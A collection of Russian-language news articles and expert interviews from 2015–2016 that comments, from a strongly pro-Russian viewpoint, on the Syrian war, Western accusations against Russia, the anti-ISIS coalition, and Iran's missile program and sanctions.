В то же время, постоянный представитель РФ при ООН Виталий Чуркин днем ранее заявил, что Россия не может в одностороннем порядке прекратить свою операцию. «Что насчет оппозиционных групп? Они тоже остановят? Что на счет ведомой США коалиции? Они тоже остановят?» — спросил постпред РФ.

— Думаю, никаких фактов, подтверждающих заявление Керри, не последует, — считает профессор кафедры Российской политики факультета политологии МГУ, доктор политических наук Андрей Манойло. — Сам характер слов не предусматривает никакой конкретики и доказательств. Это обычная декларация, которая делается не для того, чтобы потом появились эксперты, криминалисты и юристы, которые бы представили подтверждение этих слов.

«СП»: — Почему эти обвинения были сделаны именно сейчас?

— Очевидно, что это связано с ходом переговоров в Женеве между членами различных группировок так называемой умеренной сирийский оппозиции с одной стороны и представителями режима Башара Асада с другой. Сейчас они пытаются найти точки соприкосновения для формирования коалиционного правительства, как это предусмотрено резолюцией Совета Безопасности ООН. Переговоры ведутся под общим кураторским руководством представителя генсека ООН Стаффана де Мистуры. Все последние высказывания политических деятелей, которые имеют отношение к процессу урегулирования в Сирии, увязаны именно с исходом этих переговоров, которые находятся в начальной стадии.

Если позиция режима Асада обозначена совершенно четко — он одним из первых согласовал состав делегации и прислала ее в Женеву, то со стороны сирийской оппозиции мы видим разброд и шатание. Они все вроде бы хотят принимать участие в реализации резолюции Совбеза и войти в коалиционное правительство. Но судя по заявлениям, которые периодически появляются, а также тому, что до сих пор неясно, кто именно будет представлять интересы оппозиции в Женеве, разногласий между различными группировками больше, чем между оппозицией в целом и Башаром Асадом.

Одновременно с этим процессом идет успешное наступление сирийской армии в целом ряде регионов, занимаются новые рубежи, исламисты выбиваются из населенных пунктов, которыми они владели на протяжении практически четырех лет. Наступление успешно, во-первых, благодаря поддержке с воздуха ВКС РФ. Во-вторых, в последнее время армия САР развернула наступление в провинции Алеппо вдоль сирийско-турецкой границы. Задача сирийцев в том, чтобы взять ее под контроль и перерезать пути снабжения для группировки боевиков, которая сейчас удерживает значительную часть Алеппо. Без снабжения эта группировка долго не продержится и может быть уничтожена. Судя по всему, это беспокоит Соединенные Штаты.

«СП»: — Почему?

— Дело в том, что на женевские переговоры и формирование коалиционного правительства отведено шесть месяцев. Оппозиционные группировки получат в нем представительство, пропорциональное количеству населения на территории, которую они контролируют. Если сирийская армия при поддержке российских ВКС будет так же динамично продвигаться по территории Сирии, то месяца через четыре эти группировки будут удерживать три кишлака и два колодца. И тогда возникнет законный вопрос — на каких основаниях включать представителей этих группировок в коалиционное правительство?

А большинство этих групп уже признали лидирующую роль Запада, точнее, США, в разрешении сирийского конфликта. Поэтому американцы очень боятся, что благодаря быстрым и успешным действиям сирийско-российских сил в стране скоро не останется «умеренной оппозиции». Тогда коалиционное правительство будет сформировано исключительно из представителей режима Асада.

Поэтому различные западные политические деятели начали обвинять Россию во всех грехах. Керри в этом ряду, конечно, тяжеловес, но не он один отметился такими декларациями. Генсек НАТО Йенс Столтенберг недавно сделал такого рода заявление, министр обороны США Эш Картер тоже отличился. Они сейчас наперебой начинают говорить о том, что Россия, якобы, совершает на территории Сирии военные преступления. Еще недавно они говорили, что под российскими бомбами гибнут прозападные представители сирийской оппозиции. Но, видимо, население западных стран больше не жалеет сирийских боевиков, поэтому они переключились на женщин и детей.

Все это делается для того, чтобы манипулируя женевским процессом, заставить Россию приостановить наступление в Сирии, чтобы сохранить хотя бы статус-кво. У американцев есть большое желание оттеснить Россию от участия в реализации резолюции Совбеза. Ведь после формирования коалиционного правительства встанет вопрос о проведении выборов демократического характера. Россия по резолюции — один из гарантов их честности и прозрачности. Американцы же очень хотят управлять этим процессом единолично, потому что если там будет Россия, подтасовать результаты не удастся. И режим Башара Асада, который пользуется поддержкой народа, сохранится и после выборов.

«СП»: — Почему Керри требует от России единоличного прекращения огня, разве исламисты уже побеждены?

— Режим прекращения огня, который фигурирует в формулировке резолюции Совбеза, касается только так называемой сирийской умеренной оппозиции, которая готова сложить оружие и имплементироваться в мирный политический процесс, и правительственных войск. Эти формулировки не распространяются на откровенно террористические организации, такие, как Джебхат ан-Нусра* и «Исламское государство»**. Но по российской версии, не распространяется резолюция еще на несколько группировок, в частности, «Джейш аль-Ислам», «Исламский фронт», который содержится на деньги Саудовской Аравии.

Американцы настаивают на том, что «Исламский фронт» — умеренные, но Россия исключает какое-либо их участие в мирном процессе и считает террористами. По одной простой причине. Территорию, на которой сирийские туркмены или туркоманы расстреляли нашего летчика, контролировали отряды боевиков «Джейш аль-Ислам. После этого Россия провела ответный удар и очень сильно потрепала эту группировку. Когда Керри говорит о том, что Россия вопреки резолюции не прекращает военные действия, он имеет в виду наступление не на «Исламское государство», а на эти группировки, которые Запад считает белыми и пушистыми.

«СП»: — И все же, разве может госсекретарь США делать такие голословные обвинения?

— Если Колин Пауэлл устраивал клоунаду в Совете безопасности с пробиркой с якобы пробами иракского ОМП, то Керри действует очень просчитано. Он опытный политик, и делает такие заявления не для того, чтобы кого-то в чем-то убедить, а чтобы произвести впечатление и оказать давление как на Россию, так и на своих военно-политических союзников. Это очень жесткий психологический прессинг, а в прессинге аргументы не важны, важен напор. Этот напор Керри, Картер и Столтенберг и обеспечивают.

Директор Центра стратегической конъюнктуры Иван Коновалов согласен с тем, что такие обвинения — способ политического и психологического давления.

— Если бы доказательства были, их давно бы уже предъявили. Но до сих пор ни одна гуманитарная организация, включая ООН, даже не проводила расследования по этим обвинениям, как делают по другим конфликтам, и не подтверждала эти слова. Кроме того, российские ВКС применяют высокоточное оружие, ковровых бомбардировок никто не ведет. Поэтому масштабные жертвы среди мирного населения, о которых говорит Керри, исключены.

«СП»: — Чем объясняются эти нападки?

— Каждый день приходят сообщения о небольшой победе сирийских войск и занятии очередного населенного пункта. Продвижение медленно, но идет. Учитывая, что силы, которыми обладает сирийская армия, истощены за четыре года войны, оно не может быть другим. Но наступление развивается, что признают и те, кто критиковал присутствие российских ВКС в Сирии. Потому и появляются такие заявления. Их цель — вывести оппонента из равновесия и попытаться каким-то образом перехватить инициативу. Кстати, появление британского фильма ВВС о Третьей мировой войне, который иначе как откровенным выпадом в сторону России не назовешь, тоже является частью этой стратегии Запада.

Что касается Сирии, США и их союзники сейчас мучительно ищут формулу, по которой смогут избавиться от России, при этом использовав наше участие с пользой для себя. Они надеются воспользоваться успехами операции, чтобы потом оппозиция или курды добили ИГИЛ и вытолкнули Россию из процесса политического переформатирования будущего страны. В военном плане американцы оказались в очень сложной ситуации. Они поставили на курдов, которых видели в роли своей легкой пехоты. Они надеялись, что при американской поддержке курды захватят Ракку и перехватят инициативу у России.

Но этого не происходит, в частности, потому, что у США тесные отношения с Турцией, которая считает курдские организации террористическими и ведет с ними ожесточенную борьбу. Американцы в патовой ситуации, и такими заявлениями пытаются переключить внимание от успехов российско-сирийской коалиции и сфокусировать его на чем-то другом. Эту тактику американцы уже неоднократно использовали в других военных конфликтах.

Мария Безчастная

Материал комментируют:
Андрей Манойло
Иван Коновалов

7.02.16

Вчера в Париже состоялась встреча министров обороны США, Франции, Великобритании, Германии, Италии, Австралии и Нидерландов – участников антитеррористической коалиции по борьбе с запрещенной в России экстремистской группировкой «Исламское государство» (ИГ). Чиновники обсудили действия коалиции и обещали активизировать усилия в войне с исламистами в Сирии и Ираке. Наблюдатели отметили отсутствие на встрече представителей арабских стран и даже некоторых крупных западных государств.

Заседание проходило под председательством главы Пентагона Эштона Картера и министра обороны Франции Жан-Ива Ле Дриана. СМИ в преддверии встречи обратили внимание, что на парижскую встречу приехали представители семи исключительно западных стран. Картер заявил, что собрались министры государств, «играющих ключевую роль» в коалиции. Однако среди участников не оказалось Канады.

Как передает AP, Картер не объяснил, почему Оттаву не позвали в Париж. В оппозиционной Консервативной партии Канады считают, что страна перестала «играть ключевую роль» в коалиции после заявления либерального правительства о намерении отозвать из зоны конфликта свои боевые самолеты и уменьшить участие в операции. Однако пока канадские летчики продолжают совершать авианалеты на позиции ИГ. Кроме того, на базе в Кувейте дислоцированы 600 канадских пилотов, на борьбу с ИГ брошены шесть истребителей, один самолет-дозаправщик и два разведывательных самолета. Сроки сворачивания операции канадские власти не уточняли.

Для сравнения: Австралия тоже отправила воевать с террористами шесть самолетов, однако ее военные, находящиеся в Багдаде, не вовлечены в боевые операции. Вашингтон, кстати, недавно призывал Канберру увеличить военное присутствие, но получил официальный отказ. Между тем Нидерланды на антитеррористическом фронте представлены четырьмя самолетами, а Германия вообще не участвует в бомбардировках позиций боевиков. И тем не менее этим странам не было отказано в «ключевой роли».

Некоторые издания отметили и отсутствие на встрече России. Впрочем, в этом нет ничего странного. Единой коалиции, создать которую не раз призывал президент Владимир Путин, до сих пор не существует. Запад обвиняет Москву в ударах по «умеренной оппозиции», подчеркивая, что борьба с ИГ «ведется между делом». При этом политики в США и ЕС неоднократно говорили, что будут только рады, если РФ на самом деле сосредоточится на ИГ, а некоторые даже изъявляли желание в этом случае увидеть Москву в рядах единого антитеррористического фронта.

Наблюдатели считают: важнее всего то, что в Париж не пригласили арабские государства, хотя западные лидеры постоянно выражали заинтересованность в поддержке со стороны региональных игроков. Картер должен был обсудить с коллегами, как заставить суннитские арабские страны прикладывать больше усилий в борьбе с ИГ. Возможно, проблема кроется в недовольстве арабских лидеров тем, что Вашингтон «недостаточно настойчиво» продвигает идею свержения президента Сирии Башара Асада. Кроме того, суннитские руководители с недоверием относятся к иракскому шиитскому правительству, которое поддерживают США. «Я давно говорил, что арабы, арабы-сунниты должны участвовать в этом процессе», – отметил шеф Пентагона.

Он заявил, что Вашингтон планирует увеличить число военных инструкторов и тренировочных программ для местных военных в Ираке. Министр обороны Великобритании Майкл Фэллон в интервью Financial Times заявил, что после парижского заседания стратегия Запада в борьбе с ИГ изменится. Если раньше участники коалиции во многом были сосредоточены на «политическом процессе», то теперь они полны решимости всерьез взяться за исламистов. Ожидается, что коалиция активизирует удары по инфраструктуре ИГ, командным центрам, нефтехранилищам и маршрутам снабжения.

Доцент факультета международной политики МГУ им. Ломоносова Алексей Фененко в беседе с «НГ» пояснил, что состав участников встречи – реверанс американской дипломатии в сторону европейских союзников. «США лишний раз показывают, насколько значимы для них союзники по НАТО в Европе, которые «делают даже больше Канады». Арабские страны в Североатлантический альянс не входят, поэтому их отсутствие логично. Более того, им показали, что они играют вторую скрипку на фоне западноевропейских стран и США», – подчеркнул эксперт. По его мнению, это дает сигнал странам региона, что военные потенциалы от Саудовской Аравии до Катара находятся под контролем Запада, который и выстраивает генеральную линию на Ближнем Востоке.

Между тем в ИГ подтвердили гибель самого известного своего палача Джихади Джона, который казнил американского журналиста Джеймса Фоули и других иностранных пленников. Вашингтон сообщал о его уничтожении в результате авиаудара ВВС США еще в ноябре.
21.01.2016

Алексей Забродин

Интервью Day.Az с главным экспертом Американо-Азербайджанского Фонда Содействия Прогрессу Алексеем Синицыным.

— На днях были окончательно сняты санкции с Ирана в связи с решением проблемы вокруг его ядерной программы. Однако практически одновременно США ввели новые санкции против Тегерана, из-за т.н. «иранской ракетной программы». Внешнеполитический курс США трудно назвать непоследовательным, но тогда как объяснить это противоречие?

— Политика Вашингтона, порой вызывающая недоумение со стороны, никогда не была застрахована от ошибок, но всегда оказывалась предельно последовательной. История с Ираном прекрасно ее демонстрирует. На протяжении нескольких лет публике предлагалась некая дилемма — или США вместе с Израилем начнут бомбить ядерные объекты Ирана, или под давлением санкций Иран пойдет на переговоры и откажется от своей «ядерной программы». Так вот, все, что связано с гипотетической войной против Ирана, было огромным блефом. В ней сознательно или по недомыслию участвовали тысячи разномастных западных политиков, военных экспертов, политологов, не говоря уже о словоохотливых СМИ.

Свои ядерные амбиции «иранские муллы» умерили бы еще на подходе к пресловутой «красной черте», на пороге создания собственной ядерной бомбы. Они — не самоубийцы и прекрасно понимали, что за пять минут до обладания этим смертоносным оружием по ним может быть нанесен удар таким же оружием.

А вот бомбежка ядерных объектов Ирана, о которой так много писалось и говорилось, была невозможна. Объясню — почему. Израиль, который больше всех пугал ими и свое население и другие страны, физически не мог их осуществить. Для поражения иранских подземных заводов потребовались бы тяжелые противобункерные бомбы в 23 тонны весом, которые способны нести только дальние бомбардировщики B-2 Spirit, т.е. стратегическая авиация. Но таких самолетов у Израиля не было.

Допустим, что израильтяне решились бы нанести по Ирану ракетно-бомбовый удар силами тактической авиации. Разные «солидные источники» даже стали сливать в прессу «секретную информацию» о маршруте «героического» авиарейда: Израиль-Турция-через Черное море-Грузия-Азербайджан — и Иран как конечная цель. Но для такой операции Израилю понадобились бы самолеты-дозаправщики Boeing-767, а с ними у Тель-Авива, как известно, «напряженка». В 2008-ом году американцы даже отказались поставлять их Тель-Авиву, опасаясь, что горячие израильские парни рискнут пойти на эту авантюру с бомбежками Ирана. Только сейчас, когда разговоры о войне потеряли актуальность, Вашингтон включил в список военных поставок Тель-Авиву летающие дозаправщики.

Что касается США, то теоретически такие удары возможны, но они имели бы свое продолжение в акватории Персидского залива, где был сосредоточен американский флот.

Давайте полистаем страницы еженедельника «Army Times» почти 15-летней давности. Он повествует о грандиозных американских военных учениях «Вызов Тысячелетия 2002», которые обошлись казне США в 250 миллионов долларов. Тогда игравший за условного противника (то ли Ирак, то ли Иран) генерал Пол ван Райпер посреди учений отказался от участия, посчитав участия нечестными — все было подстроено так, чтобы победа досталась войскам США. А фактическим победителем был Райпер с его «низкотехнологическими уловками». Он, избегая глушения, поднимал свои самолеты в бой световыми сигналами времен Второй Мировой Войны в режиме полного радиомолчания. Старый генерал-морпех не пользовался современной связью, а передавал приказы через посыльных мотоциклистов с пакетами. Надо было бы — и погонщиков-верблюдов привлек бы.

А потом Райпер неожиданно «обрушил» на американский флот все, что только умело летать и плавать — от крылатых ракет и самолетов камикадзе до обычных катеров и лодок, тоже напичканных динамитом.

Рассчитанные потери оказались фантастическими, и сценарий учений срочно пришлось переписывать. Кстати, у иранцев есть целые подразделения смертников, управляющие подводными лодками-малютками по примеру кайтенов — их японских предшественников, «человеко-торпед». Я думаю, опыт тех учений был учтен американским военным командованием, поэтому война с Ираном так и осталась в истории томами невостребованных штабных документов.

— Помнится, много говорилось в свое время о том, что Азербайджан, дескать, то ли готов предоставить, то ли уже предоставил свои аэродромы под базы ВВС США…

— Это была фишка «прогрессивных СМИ» разных стран. В тот период просто невозможно было доказать, что Баку не собирается предоставлять свои аэродромы под передовые базы иностранным ВВС. Любые заявления на этот счет даже самых высокопоставленных лиц Азербайджана воспринимались с нескрываемой иронией или как хитроумная «операция прикрытия» закулисных американо-азербайджанских игр. Ну, и где эти базы? Закрылись на переучет?

— Из ваших слов вытекает, что угроза войны с Ираном была гипотетической, а только санкции реальными. И Тегеран, не выдержав их, пошел на свертывание своей ядерной программы. Но теперь на авансцене иранская «ракетная программа». Она действительно так опасна для США?

— Безусловно, в ней заложено больше угроз, чем в иранской ядерной программе, но представляют они опасность не для США, а для Израиля, что, впрочем, воспринимается Вашингтоном как вызов собственной национальной безопасности.

Производство тактических ракет в Иране началось еще 30 лет назад. Надо сразу сказать, что иранские тактические и оперативно-тактические ракеты далеки от совершенства — точность их стрельбы по подвижным целям выглядит проблематичной, и, в отличие от российского комплекса «Искандер», они не могут нести ядерные заряды.

Опасность иранских ракет малой и средней дальности состоит в том, что они могут попасть в руки ливанской шиитской группировки «Хезболла» и даже боевиков сектора «Газа». Объективному наблюдателю передача Тегераном этого оружия «Хезболле» представляется маловероятной, как малореальным кажется утверждение израильской разведки о том, что в руках шиитских боевиков уже есть иранские ракеты Fajer-5. Но в любом случае, Израиль обязан учитывать все факторы риска, что, собственно, он и делает.

Однако новые ракетные санкции наложены не из-за существующего арсенала, а после недавнего испытания жидкотопливной ракеты «Имад» класса «земля-земля». Это баллистическая ракета, очевидно, с дальностью не менее полторы тысячи километров и боевой частью в 750 килограмм.

— Совсем недавно президент Роухани заявил, что Иран не будет особо раскрывать объятий Америке и американские инвестиции встретят в ИРИ проблемы. Этот демарш связан с новыми санкциями, наложенными из-за иранской ракетной программы?

— Далеко не в последнюю очередь. Сейчас на кону еще и престиж иранского президента, который пошел на пресловутую «ядерную сделку». Поэтому иранцы реагируют на новые санкции очень болезненно и их понять можно. Резолюция СБ ООН, запрещавшая Ирану всякую ракетную деятельность, отменена. Действует только резолюция 2231, которая накладывает вето на производство ракет, способных нести ядерные боеголовки. Но ведь мир, фактически, признал, что Иран не разрабатывает ядерное оружие. Похоже на замкнутый круг, не так ли?

И почему должен применяться селективный отбор на хороших и плохих обладателей баллистических ракет? У Саудовской Аравии есть ракеты еще большей дальности, чем «Имад», закупленные в Китае, они вполне способны нести ядерные заряды. Но к Эр-Рияду никто претензий не предъявляет, хотя, учитывая способности саудовских ракетчиков, они могут не попасть в цель, а, как говорят в Одессе, «промахнуться в кого угодно».

— То есть, можно сказать, что история повторяется?

— Да. Сейчас уже начала раскручиваться спираль взаимных претензий и угроз, как это было с началом создания ядерной программы Тегерана. Он уже пообещал в ответ на новые американские запреты создать баллистическую ракету дальностью 5000 км. История начинает повторяться. Вопрос сейчас в том, могут ли «антиракетные» санкции Запада достичь масштаба отмененных запретов и ограничений по иранскому «ядерному досье». В полном объеме — вряд ли, но новые «антиракетные» санкции с вероятностью их расширения и есть тот «короткий поводок», на который Запад отпустил Иран.

Беседовала Лейла Таривердиева
21 января 2016

Интервью Day.Az с главным экспертом Американо-азербайджанского фонда содействия прогрессу Алексеем Синицыным.

— На днях телеканал Sky News сообщил о том, что террористам «Исламского государства» якобы удалось успешно «создать разрушительное оружие», способное сбивать военные и пассажирские самолеты. Понятно, что, если информация соответствует истине, то угроза нависла над российской и американской военной авиацией в сирийском небе. Но ведь в зону риска могут попасть и пассажирские лайнеры любой страны. Об этом, кстати, заявил главный маршал британской авиации сэр Майкл Грейдон. Как бы вы это прокомментировали?

— Скажу даже больше — люди из «ИГ» уже договорились до того, что именно этим оружием был сбит российский пассажирский самолет над Синаем в октябре прошлого года. Это, конечно, чушь, да и сама информация Sky News переполнена какими-то сомнительными деталями и даже откровенными нелепостями. По версии телеканала, точнее, его репортера Стюарта Рамсея, бойцы Свободной армии Сирии передали Sky News захваченную у террориста «ИГ» 8-часовую видеозапись обучения боевиков. Не буду комментировать всякую ерунду типа установки тепловых датчиков на манекены, изображающие бойцов «ИГ», с целью запутать разведку противника. Но меня больше всего заинтересовали кадры, на которых якобы изображен «выпуск» кустарным способом ракет класса «земля-воздух», переделанных из трофейных ракет «воздух-воздух».

Сначала несколько слов о переделке ракет. Мало кому известно, что в этом году боевики ливийской группировки «Рассвет Ливии» переделали комплекс С-125 («Печора») класса «земля-воздух» в крайне маломощную неуправляемую ракету класса «земля-земля» для стрельбы по наземным целям. Кстати, это не их ноу-хау. Иракцы еще в 1988 году непонятно зачем проделали такой эксперимент, назвали своего ракетного уродца al-Barq и благополучно о нем забыли. Итак, из зенитной ракеты еще можно сотворить ракету класса «земля-земля», но из авиационной ракеты создать зенитную не способен никакой, как выразился репортер Sky News, «джихадистский институт».

То, что я сам видел на пленке, — это как-то косо-криво снятый советско-российский переносной зенитно-ракетный комплекс «Стрела-М». Из наложенного английского текста ясно, что он не работал, но боевики якобы каким-то чудесным образом приделали к нему «тепловой аккумулятор» (?!) и теперь он способен сбивать воздушные цели. «Тепловой аккумулятор» — это перевод с английского понятия «thermal batteries», который и употребил упомянутый вами отставной британский маршал. Очевидно, сэр Майкл, который давно разменял восьмой десяток, забыл, что никакой ПЗРК — будь то «Стрела», американский «Stinger» или британский «Starstreak» — не оснащен «тепловым аккумулятором». Он ему просто не нужен. Может быть, речь идет об инфракрасной (тепловой) головке системы самонаведения? Но по-английски она называется не «thermal batteries», а «heatseeker». Это сложнейший оптико-электронный прибор и никакие террористы из Эр-Ракки не смогли бы его создать.

— То есть вы считаете, что телеканал Sky News выдал в эфир фальшивку?

— Ничего нельзя исключать, но, допускаю, что Sky News здесь вовсе «не при делах». «ИГ» могло блефовать, подсунуть дезинформацию — вот, мол, какие мы продвинутые и крутые, а затем провести эту «дезу» через различные каналы, в нашем случае, через бойцов ССА до популярного СМИ. Но не менее вероятно, что мы имеем дело с «операцией прикрытия» — кто-то нелегально закупил партию ПЗРК и через третью страну поставил их боевикам. Кстати, в середине ноября прошлого года полиция Кувейта накрыла подпольную ячейку «Исламского государства». Ее лидер Усама Хаят признался, что не так давно закупил в Украине партию китайских ПЗРК FN-6 (высота поражения цели до 3,8 км), которую контрабандой переправил в Сирию.

— А как относиться к распространенной США информации об огромных потерях «ИГ» в минувшем году? Сообщалось, что «халифат» утратил контроль на 60 процентах захваченной территории в Ираке и 20 процентах — в Сирии.

— Думаю, информация о потерях «ИГ» соответствует действительности. Многие считают, что «Исламское государство» стало заложником собственной стратегии: «Оставаться и расширяться». Они не могут удержать захваченные территории. Можно сколько угодно называть утрату позиций «тактическим отступлением», но сути этого не меняет — террористы терпят военное поражение. Я назову только их стратегические потери. В Ираке с помощью американцев правительственная армия и шиитская милиция освободили Рамади, Баиджи (и город, и нефтеперерабатывающий завод), Тикрит, Синджар. На севере Сирии курды при поддержке обеих коалиций захватили огромные территории, включая и дамбу Тишрин. Сирийская Свободная Армия сейчас наступает на Манбидж. К западу от Пальмиры под прикрытием ВКС России правительственная армия вернула под свой контроль значительные пространства, а в северном Алеппо — важнейший аэропорт Кувейрис.

— Интересно, что американцы как будто изменили свое отношение к операции ВКС РФ, признав ее вполне успешной. Не означает ли это, что обе страны уже договорились о разделе театра военных действий на Ближнем Востоке на сферы ответственности?

— Иногда кажется, что высшее руководство США ведет себя как капризная девушка. Вдруг Белый дом заявляет, что не будет обмениваться развединформацией с Москвой, конечно же, из-за Асада. Но на практике такой обмен происходит между военными через тех же курдов и т.н. «арабский компонент Сирийской Свободной Армии». Поэтому в северных районах Сирии обе коалиции наносят согласованные воздушные удары по «ИГ».

Но существуют и менее транспарентные, но более важные формы взаимодействия между США и РФ. В арабском мире живо обсуждается информация, подброшенная влиятельной кувейтской газетой Al-Rai, да еще со ссылкой на «высокопоставленный американский источник» о том, что между Кремлем и Белым домом достигнуто принципиальное соглашение по разрешению сирийского кризиса. И даже определена фигура премьер-министра, перед которым Москва и Вашингтон поставят грандиозные задачи — подготовка проекта новой конституции, начало реконструкции страны и осуществление политики национального примирения. Будущий премьер, по слухам, — бизнесмен и выходец из умеренной оппозиции. Я думаю, что косвенным подтверждением этой информации является последнее американское заявление о том, что в 2016 году Асада никто смещать не будет. В эту же логику умещается четкое разделение театра военных действий, по которому США «курируют» Ирак и курдские области Сирии, а вся остальная сирийская территория остается в зоне ответственности Москвы.

— Известно, что и у Москвы, и у Вашингтона в сирийском конфликте имеются союзники. Во всяком случае, они таковыми считались. Насколько США и Россия в своих действиях склонны учитывать их интересы? 

— Не так давно высокопоставленный представитель администрации президента США заявил корреспонденту Reuters: «Я думаю, что трудно спорить с тем, что сегодня режим Асада находится в большей безопасности, чем он был до начала российской интервенции». Здесь важна не стилистика, а признание того, что свое место за столом при дележке ближневосточного пирога Россия уже заняла. Тогда к чему учитывать запросы региональных игроков, которые значительно превосходят их возможности?

Американцы официально заявили Анкаре, что не видят «логистических и технических возможностей» для организации «зоны безопасности» от турецкой границы до Аллепо, как на это рассчитывали турецкие власти. Идем далее, 6 и 12 ноября на базу в Инджирлик прибыло 12 истребителей F-15. В официальном заявлении американского командования, которое 6 ноября приводило издание Минобороны США Stars and Stripes, указывалось, что прибытие истребителей вызвано просьбой Турции о помощи в защите воздушного пространства страны. Спустя пять недель все самолеты без объяснения причин вернулись в места постоянной дислокации — на базу британских ВВС в Лейкенхите. Более того, «бесполетная зона» в Сирии теперь существует для самих турецких ВВС, которым американские коллеги после развертывания С-400 просто посоветовали больше не летать в районе сирийской границы.

Россия тоже явно охладела к Ирану. Москва не допустила размещения иранских самолетов на одном из сирийских военных аэродромов. Еще большую обиду Тегеран затаил на Москву, которая не сделала ничего для того, чтобы предупредить ликвидацию израильскими ВВС одного из лидеров шиитской «Хезболлы» Самира Кунтара в пригороде Дамаска. По мнению арабской газеты Asharq al-Awsat, именно этот факт стал причиной частичного вывода иранского спецназа из Сирии в Ирак. По ее версии, Россия намерена «подмять» под себя Сирию, что не согласуется с иранскими целями. Ну, а что касается мусульманской коалиции, созданной в Эр-Рияде, то ее усилия играть самостоятельную роль в Сирии и Ираке демонстративно игнорируют обе ядерные державы.

— По-вашему, уже произошел негласный, но окончательный раздел Сирии и Ирака по лекалам Москвы и Вашингтона?

— Это промежуточный итог. Пока взаимную критику политических курсов друг друга они оставили «говорящим головам» из своих внешнеполитических ведомств, международным СМИ и рядовым обывателям, любящим выпускать пар в соцсетях. Ну, иногда президент Обама скажет о Путине очередную колкость. Но это только первый акт. Сама сирийско-иракская драма начнется только после завершения американских президентских выборов. Так что, самое интересное — еще впереди.

Беседовала Лейла Таривердиева

С позиций сегодняшнего дня может показаться большим преувеличением предположение о том, что западная «антитеррористическая коалиция» через какое-то время повернет оружие против сирийских правительственных войск и поставит Россию перед выбором – уйти из Сирии или перейти на ее сторону. Однако тем, не хочет принимать во внимание возможность такого поворота, можно напомнить поведение блока НАТО в 1999 году, когда он начинал войну против Югославии.

Билл Клинтон и его союзники не имели гарантий военного нейтралитета России на тот случай и страшно трусили перед нанесением первых ударов. В воспоминаниях помощников Б.Ельцина отмечается, что голос Б. Клинтона срывался от волнения, когда тот сообщал российскому президенту о начале войны. В НАТО боялись непредсказуемой реакции ядерной державы, но все-таки начали. Эта смесь наглости и авантюризма вообще отличает стиль поведения англо-американских «партнеров» России.

Сегодня Вашингтон старается представить картину сирийского кризиса таким образом, что поднимают голову две страшные опасности для всего мира — международный терроризм, представленный ИГ (ДАИШ), и «силы тоталитаризма», представленные Россией, за которой стоят Сирия и Иран.

Если с опасностью со стороны исламских террористов все более-менее ясно, то «опасность для мира» трех государств — полноправных членов ООН требуется доказать. Таких доказательств нет и быть не может, поэтому Западу остается лишь приписывать Москве имманентную агрессивность, продолжать указывать на Асада как на корень зла и изображать наземную операцию Ирана в Сирии как приближение конца света.

Однако этим дело не ограничивается. Последние сводки из зон военных действий в Сирии и Ираке говорят о том, что силы самопровозглашенного «халифата» могут быть разгромлены достаточно быстро. И тогда судьба региона окажется в руках победителей, а Запад на выдающуюся роль среди победителей не тянет, хотя урвать как можно больше постарается.

Победа сирийских войск при поддержке союзников будет означать для США начало провала всего проекта «Большого Ближнего Востока». Блок НАТО, ведомый слепым поводырем, окажется перед необходимостью признать, что его концепция «расширения зоны ответственности и проекции силы по всем миру» провалилась. Практика группового насилия над неугодными режимами дала сбой.

А «виной» всему — самостоятельные, уверенные действия России, получившие поддержку и снискавшие симпатии в других странах.

Все три провокации последних дней — уничтожение турками «из засады» российского бомбардировщика СУ-24, ввод турецкого танкового подразделения на территорию Ирака, атака самолетов западной «коалиции» на лагерь сирийских правительственных войск — сопровождались трусливыми оговорками, но от этого они не стали безобиднее: общий их смысл состоит в том, что США и Турция прощупывают возможность разворота фронта войны против России и ее союзников, тщательно анализируя реакцию Москвы на каждый следующий шаг.

В Вашингтоне, видимо, усмотрели, ободряющие для себя сигналы в том, что прямого обещания поражать турецкие «фантомы», оказавшиеся на дистанции огневого контакта с российскими самолетами, не прозвучало; что Сирия не заявила о готовности сбивать самолеты «коалиции» своими ракетами при повторении нападений на ее войска; что Багдад не осмеливается применить военную силу по отношению к турецкому агрессору.

Собственно, «программа-минимум» дальнейшей эскалации конфликта уже обрисовалась: Турция берет под контроль приграничные территории в Ираке и Сирии, западная «коалиция» бомбит сирийские правительственные войска, российская авиагруппа в Сирии оказывается в ловушке.

Судя по тому, насколько решительно союзники США, например, та же Германия, отвергли саму возможность военного сотрудничества с Россией в Сирии, размежевание уже произошло, и линия на конфронтацию выработана.

Если вслушаться в то, что сказал Джон Керри 6 декабря, то последние надежды на объединение усилий России и атлантических держав должны исчезнуть: «Если Россия и Иран встанут блоком и позволят Асаду попросту обречь процесс на неудачу, мы будем знать, кто представляет собой проблему. В таком случае у нас будет меньше вариантов для действий, и мы столкнемся с трудным выбором. Потому что мы не можем допустить подобного развития событий. Это угрожает безопасности США и всех стран в Европе».

Судя по всему, в Москве хорошо понимают горячечное состояние вашингтонских стратегов. Москва решила не пугаться. В ответ на угрозы Вашингтона истребители Су-30СМ ВКС РФ взяли под охрану позиции сирийских войск, а фронтовые бомбардировщики и штурмовики увеличили интенсивность ударов по позициям боевиков.

Кроме того, российская авиагруппа начала осваивать новые объекты. Помимо основной авиабазы Хмеймим в Латакии Россия использует базы Шайрат в Хомсе и Аль-Тайас в Пальмире как аэродромы «подскока» для оказания огневой поддержки правительственным войскам в момент наступления.

В совокупности с системами ПВО, прокрывающими всю территорию Сирии, российские военные имеют вполне надежные позиции.

Американская коса давно должна была найти на камень. Сейчас это и происходит.

Дмитрий СЕДОВ | 08.12.2015 |